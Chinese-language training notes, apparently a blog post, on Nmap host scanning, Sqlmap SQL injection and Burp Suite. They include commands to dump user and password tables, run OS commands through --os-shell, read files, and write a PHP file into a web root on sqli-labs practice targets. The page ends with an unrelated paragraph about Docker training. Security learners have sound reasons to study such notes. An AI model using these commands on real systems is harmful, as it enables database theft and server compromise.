实训周笔记

主机信息收集技术—基础知识:

  • 主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。
  • 端口扫描:Nmap

主机信息收集技术—Nmap:

  • namp 192.168.1.1

  • namp   -A    –T4    -v     192.168.1.1
  • -A  开启操作系统识别和版本识别功能
  • -T  0-6档,设置扫描的快慢,0最慢,6最快; 级别越高,对网络带宽要求越高,另外扫描太快,容易被安全设备发现; 一般选择T4
  • -v  显示信息的级别,-vv 显示更详细的信息
  • 192.168.1.1  扫描单个目标
  • 192.168.1.1  192.168.1.5  …    扫描多个目标
  • 192.168.1.1/24  扫描C段   或者 192.168.1.1-254
  • namp   -A    –T4    -v     -iL     ~/targets.txt
  • -iL  表示要扫描的目标位于一个文档中
  • namp   -A    –T4    -v   192.168.1.1/24  --exclude  192.168.1.100--exclude  (192.168.1.100   表示排除在外的目标)
  • namp   -A    –T4    -v   192.168.1.1/24  --excludefile   ~/targets.txt--excludefile (~/targets.txt   表示排除在外的目标包含在一个文档中)
  • namp   192.168.1.1   -p  80,443 (-p  80,443   表示扫描特点端口,如果不用-p指定端口,  默认扫描1000个常用端口)
  • namp   --traceroute   192.168.1.1(--traceroute  探测路由)
  • namp   -O  192.168.1.1  (-O  对目标进行指纹识别)
  • namp   -sV  192.168.1.1  (-sV 对版本进行探测)
  • namp   -sF  -T4  192.168.1.1  (-sF 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。)
  • 状态

    说明

    open

    应用程序在该端口接收 TCP 连接或者 UDP 报文

    closed

    关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听

    filtered

    由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙

    unfiltered

    未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态

    open | filtered

    • 无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。

主机信息收集技术—Nmap进阶:

  • 扫描脚本介绍:位置 : nmap安装目录/scripts/     例如/usr/share/nmap/scripts
  • 脚本类型:
  • ll  /usr/share/nmap/scripts | grep ^- | wc -l
  • 使用介绍:nmap --script=auth 192.168.137.*(负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令)
  • nmap --script=brute 192.168.137.*(提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解)
  • nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*(默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。)
  • nmap --script=vuln 192.168.137.*  (检查是否存在常见漏洞)
  • nmap -n -p445 --script=broadcast 192.168.137.4(在局域网内探查更多服务开启状况)

更多https://nmap.org/nsedoc/categories/                   https://blog.csdn.net/whatday/article/details/73823959

主机信息收集技术—zenmap:

zenmap          Nmap 的图形化界面

Sqlmap简介:sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server,  Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

Sqlmap安装:

1.安装sqlmap前,需要先安装 Python3.X ,下载地址:https://www.python.org/downloads/windows/

2.在环境变量path中,增加python3.x安装路径

3.下载sqlmap并解压缩:地址:https://sqlmap.org/

Python sqlmap.py –u http://xxx.xxx.xxx/

Python sqlmap.py  --help 查看帮助

sqlmap支持五种不同的注入模式:

  1. UNION query SQL injection(可联合查询注入)
  2. uError-based SQL injection(报错型注入)
  3. uBoolean-based blind SQL injection(布尔型注入
  4.  uTime-based blind SQL injection(基于时间延迟注入
  5. uStacked queries SQL injection(可多语句查询注入)

sqlmap常用参数:

  • 设置目标 URL -u /--url  最基本格式: sqlmap -u “http://www.target.com/index.php?id=1”
  • • -m 从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt
  • -r 从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据 ......
  • --dbs:返回当前连接的数据库
  • --current-db :返回当前网站数据库的数据库用户
  • -D : 指定数据库系统的数据库名
  • --tables :列举数据库表
  • -T: 指定数据库表名
  • --columns: 列举数据库表中的字段
  • -C: 指定数据库表中的字段名
  • --dump: 获取整个表的数据

设置回显等级:

参数:-v 默认为1:0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认等级)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同事显示HTTP响应页面。

  • 设置HTTP数据包相关参数 参数:--data 此参数是把数以POST方式提交,sqlmap会像检测GET参数一样检测POST过去 的参数。 python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" 参数:--cookie 当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
  • 设置HTTP数据包相关参数 HTTP User-Agent 头 参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
  • sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
  • sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
  • 设定探测等级 --level 共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。 level>=2的时候就会测试HTTP Cookie。 level>=3的时候就会测试HTTP User-Agent/Referer头。 level=5 的时候会测试HTTP Host。
  • --users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
  • --current-user 在大多数据库中可以获取到管理数据的用户。
  • --is-dba 判断当前的用户是否为管理,是的话会返回True。
  • --proxy 指定一个代理服务器 eg: –proxy http://xxxxx:8080
  • --os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限。

sqlmap“六步”:

第一步:判断是否是注入点 sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"

 第二步:获取数据库:sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --dbs

第三步:查看当前应用程序所用数据库sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --current-db

第四步:列出指定数据库的所有表sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" --tables

 第五步:读取指定表中的字段名称sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"  -D "security" -T  users --colunms

 第六步:读取指定字段内容sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T  users -C username,password --dump

Sqlmap进阶:--level 探测等级一共有5个等级,默认是1。

  • sqlmap使用的payload可以在xml\payloads中看到,也可以根据相应的格式添加自己的payload,5级包含的payload最多。

  • http cookie在2级时可以检测

  • HTTP user-Agent/Referer在3级时就会检测

判断当前数据库用户权限 sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --is-dba

 –roles 列出数据库管理员角色:

如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色, sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

--referer HTTPReferer头:当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net

--sql-shell 运行自定义的sql语句:sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

 –os-cmd,–os-shell 运行任意操作系统命令

选择后台语言 sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

–file-read 从数据库服务器中读取文件:该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

 

 –file-write –file-dest 上传文件到数据库服务器中:该命令用于写入本地文件到服务器中。Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1   --file-write  ‘c:\user\cisp-pte\desktop\xie1.php’  --file-dest ‘c:\phpstudy\www\wwwroot\xie.php’

 读取指定数据库用户的密码: sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

apostrophemask.py

  • 适用数据库:ALL
  • 作用:将引号替换为utf-8,用于过滤单引号
  • 使用脚本前:tamper("1 AND '1'='1")
  • 使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

multiplespaces.py

  • 适用数据库:ALL
  • 作用:围绕sql关键字添加多个空格
  • 使用脚本前:tamper('1 UNION SELECT foobar')
  • 使用脚本后:1 UNION SELECT foobar

Burpsuite配置及代理设置:

1. Burpsuite使用前配置

 Burpsuite配置及代理设置:

 Burpsuit功能模块讲解:

这些模块都有什么用呢?

  • Send to spider 发送给爬虫模块
  • DO a active scan 进行一次主动扫描
  • Send to intruder 发送给爆破模块
  • Send to repearter 发送给重放模块 Send to comparer 发送给比对模块
  • Send to decoder 发送给解码模块
  • Request in browser 将请求在浏览器重放

 

2 .Proxy模块HTTP history选项卡

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
实训过程一般包括以下几个步骤: 1. 环境准备:首先需要安装Linux系统,可以选择Ubuntu、CentOS等版本,并配置好相应的网络环境和软件环境。 2. Docker安装:在Linux系统上安装Docker,可以使用apt-get或yum等包管理工具进行安装,或者从官网下载Docker安装包进行安装。 3. Docker基础操作:学习Docker的基础操作,包括Docker镜像的创建、上传和下载,容器的创建、启动和停止,以及Docker网络和存储等方面的操作。 4. Docker应用实践:在掌握Docker基础操作之后,需要进行Docker应用实践,例如使用Docker部署Web应用、数据库、消息队列等服务,以及使用Docker进行CI/CD等方面的实践。 5. 云计算平台:学习云计算平台,例如AWS、Azure等云计算平台的使用,包括虚拟机的创建、网络配置、存储管理等方面的操作。 6. 云计算应用实践:在掌握云计算平台的基础操作之后,需要进行云计算应用实践,例如在云平台上部署Web应用、数据库、消息队列等服务,以及使用云计算平台进行弹性扩容等方面的实践。 7. 实验报告:在实训过程中,需要记录学习笔记和实验结果,并撰写实验报告,包括实验目的、实验环境、实验过程、实验结果和总结等方面的内容。 以上是liunx docker 云计算 实训过程的一般步骤,具体过程可能因为实训内容和实训机构的不同而有所差异。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值